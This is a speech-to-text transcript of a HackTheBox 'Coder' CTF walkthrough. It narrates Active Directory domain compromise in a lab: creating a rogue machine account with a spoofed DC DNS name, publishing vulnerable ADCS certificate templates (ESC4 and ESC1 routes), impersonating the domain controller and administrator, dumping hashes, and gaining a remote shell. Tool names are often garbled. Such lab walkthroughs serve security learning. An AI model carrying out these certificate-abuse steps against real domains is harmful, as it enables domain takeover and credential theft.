spelling correct if we go back to softare developers and fix that typo we get nothing so what this is showing is we have two permissions to this as build agent management um the first one is this object type and if we search what this object type is I think that's going to be um computers so let's just Google that um go to the computer class on the Microsoft learn and it's going to give us the schema ID and we see that is computer so we can create computers in this OU is what this is saying we also have this one if we look at it let's go back search this uid this is validate DNS name so we can probably read um and write DNS properties in here so this allows us to just create computers and we can also edit their DNS name when we create them which I guess we would need to do if we create a computer because the computers need to have DNS um the only problem is

HackTheBox - Coder


our current user doesn't have uh isn't in this group right this is the do we have notes here right here we're e Blake we have pki admin um s blade is a software developer and is a member of this group so what we could do here is from eake we can create a certificate that will um or enrollment policy I guess I should say um that would be vulnerable to allowing spoofing of um DNS names and I don't think this is I think this is the harder way to go about it um after thinking about this I'm pretty sure there's easier ways to do it and I may explore that in the end of the video if I have time but we're going to do is create enrollment policy that allows um machines with I'm going to call it a spof DNS name which isn't exactly correct um Become dc and then as as blade we'll create the malicious machine object and then we

HackTheBox - Coder


will um as the malicious machine and enroll machine I should say well create malicious machine object is enrolling it great computer we will do certify to go to DC so that's going to be the attack path um again I think we're over complicating it a little bit here maybe we'll get simpler but I really did um like showing how to dump OU showing the acl's and doing all those type of things because that is useful right it is cool that the default machine account uh creation policy or quota is zero but we can still create machines because we had an explicit right on this OU right here so um even though I we're complic here that's why I still wanted to show it this way so let's see um we have to now create the enrollment policy but before we do that let's go to Google because I want to pull up an article that is really good for talking about this so let's

HackTheBox - Coder


search certified and then we'll go to this article I'm not going to read everything this is a patch thing but the way it was patched does allow it for still configuring it to be vulnerable which is why we're going to abuse this right this whole post is good essentially um when you create a certificate for a machine you can um have a duplicate name because in machine accounts you don't have a UPN that's a user principal name that's the unique constraint there user accounts they all require that so you can't like duplicate users but for the machine we can so if we create a machine object give the DNS name of dco1 we can request a certificate in a way that when it authenticates it says we are dco1 and that will give us um the privilege to do like a DC sync and things so scrolling down I do want to go to

HackTheBox - Coder


talk about this uh let's see where is it there we go on this patch so the flag it says it was patched but it's been done in a way let's see so essentially if Ms pki enrollment flag is equal to the CT flag no restriction extension ID which is 0x 80,000 and hex um then it will be vulnerable uh it says it is unlikely this flag is ever sent but you should be aware for the implication so this is just one thing that because we're a pki admin we can set the flag or we can create a new certificate setting the flag which will let us exploit it um this is kind of like the allow reversible encryption and um active directory for I think it's as rep roasting I forget the exact name U not as rep roast um whatever that one flag is you really see it in um production environments because no one checks that box but attackers May so then they can go carry that password and crack it right

HackTheBox - Coder


so let's see um the first thing we will want to do is um I guess we can run certify first try to think of a good path so I think we're going to run certify show it says it's not vulnerable run it again after we create the malicious cert and we see it is I think that sounds fun so we do certify f-u ec. htb the password let's cat um we go up to directories cat creds you can grab this password and then DCI IP 1010 11207 vulnerable standard out and it's going to say there's no vulnerable as long as we haven't um massively screwed up here right so we look and uh could not find any certificate templates that are vulnerable so what we want to do is create one so we can go and U get something to export it or not export um let's see let me just adcs template GitHub go to this repo the goate to adcs repo go enter a dubdub dub directory then we want to run a get

HackTheBox - Coder


clone and then let's CP adcs template up One Directory okay so now we want to download these two things to the box so we go back to our winrm let's make dur adcs now we can curl 10 10 14 8 8,000 uh what were those file names psd1 and psm1 - L there we go then psm1 and let's grab the curl okay so now we want to do a import module and then specify this it's important you do the slash if you don't do slash then um it won't find the file so now that we have that we have this function called get adcs template and if we looked at this page it would say how to use it right um all we want to look at is the display name so I'm going to clone the computer one so we're going to say um V template is equal to um export adcs template Das display name computer so we now I do V template uh we have all the settings right and in the

HackTheBox - Coder


post uh what was it let's see do we still have certified up we want this enrollment flag so it's set to 32 so let's do a vau template dot um Ms pki enrollment flag does that pull it let's put it in quotes because we do have dashes and that is a dangerous character um I'm just going to copy it just to make sure we have it right okay I thought it would display it but maybe it doesn't we'll just set it to 0x it was 80,000 right there's three zeros there and we still have one three and then one there we go uh cannot be found what I thought that's how we would set it um maybe it's that no let's see we're doing something wrong maybe this isn't just an object yet um let's see on template let's do a convert from Json there we go so we just had a straight Json file it didn't actually convert it to a object so that's what we just did there

HackTheBox - Coder


so now if I do let's see certificate enrollment flag there we go 32 so now we can set it to that so now we have a template we have changed the enrollment flag so now we want to um import the template so let's convert this to Json we don't want to convert just the variable we want to convert everything we can call this out. Json if we do type out. Json we have the configuration we want for a vulnerable template so now let's um load it so vau template is equal to convert um oh wait we don't want to load it we want to do a new adcs template and then display name we'll call it V template then we say publish and then specify the Json file of um we'll do cat out. Json D raw so all that did is output the Json file right so we've published the certificate I want to see and I'm not 100% positive but I think certifi now

HackTheBox - Coder


will um flag it wherever we ran that there we go so it's going to find them all and there we go we have a ESC for um template it's owned by Aaron black it actually says the name not the um account but that template is owned by him now in order to exploit this esc4 we have to create the machine with a um spoof DNS name so I'm going to uh pull the latest version of impet so let's do impet GitHub okay I'm going do Python 3 MVM VM Source VM bin activate so now I can install this so let's clone impacket pip install and then we want to find the add computer script after it installs so let's do CD examples and we'll move add computer to ad computer dc.

HackTheBox - Coder


py oh I should have just copied it my bad there we go and what we're doing is I just search for DNS and what this is by default going to do is create the DNS HST name of the computer HST name whatever computer H name we set it to um we want the computer H name to be different than the DNS so I'm just going to um get rid of computer host name and we'll hardcode it to dco1 so no matter what we'll create this and we'll get a DNS host name of dco1 so let's do add computer dco1 specify the domain which was cod. htb the user that has permission to add computers which was Sonia blade get her password so we can copy this put it in here and then let's do computer name pone PC the computer pass uh we do please sub and if we hit enter it's going to probably say machine account quar exceeded right um so we need to specify the group so we'll do computer-

HackTheBox - Coder


group and this is going to be that OU so let's go here we can grab the OU that we have permission to add in hit enter and still debug let's see that is not helpful I think this may mean it's going through SMB we want to change the method to L probably and before I do that I want to get rid of this computer group so we see the error message right so if we change this we get a error of um constraint type it's not machine quoted oddly enough if we got rid of or change where we just add the dco1 we get machine quote exceeded so what I think is happening here is it's airing before it actually tries to add the computer and by that I mean um we're adding to the top level OU which a DNS entry of dco1 already exists so that's where we get the constraint error at is what I'm guessing um but if we specify the OU that won't happen so let's add this computer group group to a

HackTheBox - Coder


ldaps command so we have method ldaps computer group we do this and before I add it let's do a get 80 computer pone PC we see it does not exist so we can run this it added it and now the computer exists so let's make sure um we have a template still so get adcs template because we've spent some time um select display name V template is not here so we want to um make that again real quick so new adcs template display name phone template publish Json GC out. Json Raw publish not public there we go so now we have that template if we do display name we have it so we want to do set adcs template ACL display name uh the vau template this is the template we just made and we want to allow um the machine account to enroll so we'll do coder pone PC dollar and then Dash enroll so now this computer account can enroll um a certificate so let's go back

HackTheBox - Coder


to our impacket and we want to run certify now so we'll do certify dasu and I'm going to specify Pon PC dollar DP please sub-ca um this is in the certify output if we just do uh this it's almost always going to be like uh the domain let's see do we have certify vulnerable yep there it is let's see come on give me the output if we don't do this too fast it's going delete the certificates again um let's see The Authority right here certificate authorities right so that's where you get the ca from and then after CA we want to specify the template V template and then the target is going to be dco1 doc.

HackTheBox - Coder


htb uh unrecognized arguments oh uh certify request right right we did something wrong certify request own PC certify let's See's request yeah and then I thought we would give it username doesn't not like the dollar what argument is bad C PRI request oh ca name that's probably it no let's see I must have a weird version of like certify running because I literally just copied that down here net bio connection with the hers timed out tip three install certify it is installed something weird is going on here this must be like an ancient version certify installed let's see get clone uh my computer just froze I cannot click I'm going to pause the video and figure this out oh wait I typed a z yeah something's wrong I'm not sure if you can even hear me complaining the CPU is spiked there what the heck is going

HackTheBox - Coder


on because when I loaded this GitHub page so I'm not sure what happened I did a p kill Firefox and it seems to be fine um the downside is I lost the link so let's add this again certify GitHub see can I just copy the URL I don't want to go to this page again so let's add this get clone there we go so let's do a pip 3 uninstall certify yes we'll remove it let's go in here pip 3 install Dot and we will run this again there we go that looks better um we get a weird error let's see do we still have the computer and everything let's do a get 8 computer pone PC we don't that is annoying so let's see let's add the computer let's see pone PC computer LS impact examples out of the machine so let's publish the certificate add the ACL toone PC and now let's do that certify request again we request and we have got the

HackTheBox - Coder


certificate so now we should be able to do certify off pfx dco1 doc. uh dco1 pfx it's going to get the TGT thinking about it um clock SK so we can do pseudo ntp date and we fix the clock SK and we've got the ntlm hash of the um DC so this should allow us to do a secret stomp so hold on let's do veds dco1 like that okay so let's see let's do a secret stump then c. htb dco1 like that and then we can say- hases and uh let's see air connection uh we have to give it the target uh DC IP dco1 doc.

HackTheBox - Coder


HTP see let's do that and then at curent htb there we go um so what was happening there let's just pause that output um I was just specifying this thinking impact it would be smart enough to go just to dco1 but of course it's not so we have to do the at to specify where to DC sync to right and we have the administrator hash right here so we could do um let's do PS exec I guess dasu administrator Das I think H like that then 10 10 11207 see how do we do this BS exact. pi- hases there we go it's going to upload starting the service and it's taking a while I wonder if Defender has killed PS ex that is very possible um in that case I normally use wmi exec I'm guessing um we dropped the binary for PS EXA to execute and then Defender deleted it and that was all she wrote yep so let's try wmi exec real

HackTheBox - Coder


quick SMB dialect and if this doesn't work we can probably use evil winrm right but we do who am I and we are c/ administrator so that is the Box through the intend way and now let's talk about the unintended way right so the intended way is we had to use both of these accounts right e Blake was the pki admin so you could modify adcs templates and S blade was the person that could create a computer and the build agent management was the place s blade could create them that's a lot of Hoops to jump through right but since we can all create um vulnerable templates why do we have to bother with this we could just go with an easier route of certificate abuse right so what I'm going to do is um Google let's just say new adcs template esc1 um and I'm hoping to find one that actually uses new adcs template but

HackTheBox - Coder


there isn't one um I'm not sure how everyone like purposely makes these misconfigured now that like the defaults isn't vulnerable but um I digress so this does give us some useful output it's from certify right and it tells us what we need to be esc1 so if we went back and we do this certify fine command I'm going to get rid of the vulnerable and standard out we're just going to run it and this is going to give us the similar output that um Black Hills has right so let's look at the text and then I'm going to search let's just do the user certificate uh that's user signature let's just do Straight Out user because we're going to be modifying these anyways so what we need is to make sure it's enabled and client authentication is true so that is set okay um enrollment agent any purpose those next two are false okay enroll Supply subject this

HackTheBox - Coder


needs to be true it is currently false so we have to flip this bit um certificate name flag oh wait enly supplies okay yeah this is true and then certificate name flag also needs enolly Supply subject that is not here so we will add that enrollment flag is set to none we have a few things here so we want to unset this uh extended key use server we probably want server and client right let's see is there one that does server authentication okay whatever this one is template name machine display name computer let's use the computer one because that does extended key usage um so similar things so let's go back to this and let's do get adcs um templates or a template there we go Das display name computer and let's see we have everything so we want this to be set to a this is what we called inv V template before

HackTheBox - Coder


right we did export last time wonder if I could have just done get I think I could so this is even easier I don't know why I used export before I do a.name that works so we now have the computer sh so the flag we need to change we have enabled is true right so we can do a do enabled see wonder if I want to do export so we don't have like the CN and everything let's do that um export adcs template D display name computer we'll say a is equal to this and then a is equal to convert from Json a okay there's less variables when I do it through export so that's why I did it before right this has like everything um export only does what's exportable so that's good um so we want to make sure client authentication and that was already set let's see so I'm going to ignore these two because those are set um enrollment and any P purpose okay en rolly Supply

HackTheBox - Coder


subject we want to set that to true so what would be enrol supplies subject here I'm going to guess it's going to be enrollment Flags because that's the only thing that has enroll in it so let's just Google this and let's see so this is going to be a bit mask um it's set to 32 which would be 20 so it's set to Auto enrollment if we look at this um does this tell us it just says false um enrollment flag there we go Auto enrollment so how this is working is it's just a bit mask so 32 You' convert it to hex so this would be 128 64 32 16 8 4 2 one that's two sets of four right yes so because this bit is set that means um this CT flag Auto enrollment is Set uh we want to that's not what I was thinking let's see but that's means that is set um how do I make enolly Supply subject because we want to set

HackTheBox - Coder


enrollment flag To None So we still want to modify this but that wasn't the modification I was looking for so we can set that To None which would be zero okay okay then let's see I don't know how to do that one certificate name flag here we go let's search this so we get name flag attribute there we go so the bit mask of one is um en rolly Supply subject and right now we have a pretty large number um does this tell us what it is so we have two bit set we have subject required DNS as CN and ALT required DNS I'm just going to unset both of these and set the one I want so what we do is say a this is equal to one I'm trying to think do I want to set this because if I set this to um just change this to be a five then you would see we'd have um these two permissions still and then one extra one hey let's try

HackTheBox - Coder


that just to show you how like bit masking works right so we just flip the very first bit which is one so we know that's now going to be set um what else do we need from this required management approval and authorized signature so let's see we set that signature zero I think we may be good let's just do um convert to Json a right yep I'm going to call this out. Json and then we can say um new 0cs template display name esc1 publish Json cat out. Json raw so now we've um created that and let's just make sure um our user can enroll so we'll do the ACL display name esc1 type allow identity is going to be coder and then back slash e black which is our user and then enroll okay so let's run this again with vulnerable and see if it tells us it's vulnerable to esc1 I'm not positive if it is if it isn't we will just um export it again

HackTheBox - Coder


and look at the settings or let's do that anyways it is vulnerable so we know we can do esc1 but I do want to look at the settings to show you um how that changed right so we can do a less on this our name was esc1 and remember I just added the enolly supply subject here so you can still see the other two are there and that is set right um let's see require zero so I think we should be good so let's do certify so we can do um certify then request after request it was you CER htb e black the password of this CA coder dc1 CA template esc1 Target dco1 doc.

HackTheBox - Coder


htb so just go to request and it did not like that I get this era on and off I don't know exactly what it is wonder if this user just can't request so what I'm going to do is add a name server to be 101 11207 uh we probably should say search uh what is it c.

HackTheBox - Coder


HTP does this work better now no if we give it a bad password we still get that error does debug tell us anything of course it doesn't I haven't actually done the uned way so I don't know if something's broken on the box or my library cat creds e black that is the password the requested certificate is not supported so does that mean the thing reset on me let's do that do this again it's taking longer net bio timed out there we go we finally have it so we saved a certificate key to e.

HackTheBox - Coder


pfx um we do certify off- pfx certify couldn't find identification I think that's because we forgot to do one thing uh when we request this we also have to specify the user we want to impersonate so let's do administrator at um C.H HTP okay so now we save the certificate to administrator. pfx so if we do this principal name trying to get TGT clock skew uh pseudo ntp date I don't know why the clock keeps going off I guess my VMware is like setting my computer clock back to a time and this is sinking it's just conflicting right so we do this and we have the hash for administrator so this was a way to do it without having to jump through the hoop of using two different accounts creating a machine account um hopefully this is a lot easier right um if you had trouble with remembering to use UPN I mean I'm

HackTheBox - Coder


sure the black hilles post does say it does when we do a request we're now impersonating a user right um before I want to say we exploited was it esc4 um it was either esc4 or esc6 so that's why we didn't have to specify the UPN because we are writing on the DNS attribute of the computer object we created this we're not creating computer object we're just enabling us to specify the user principal name in the certificate we're requesting so we're just requesting a certificate and we say hey we're allowed to say we're administrator in the certificate give it to us and it does so um yeah that is going to be the box I guess I should just do my due diligence and say let's do a wmi exec oh shoot um let's grab this then wmi exec we can do winrm this will be easier so net exac SMB username administrat

HackTheBox - Coder


then we'll do I think it's- Capital H for the hash I don't think I specify the hash that maybe I do let's see there we go pwned so you can see we definitely have the ntlm for administrator so take care guys hope you enjoyed it and I'll see you all next time

HackTheBox - Coder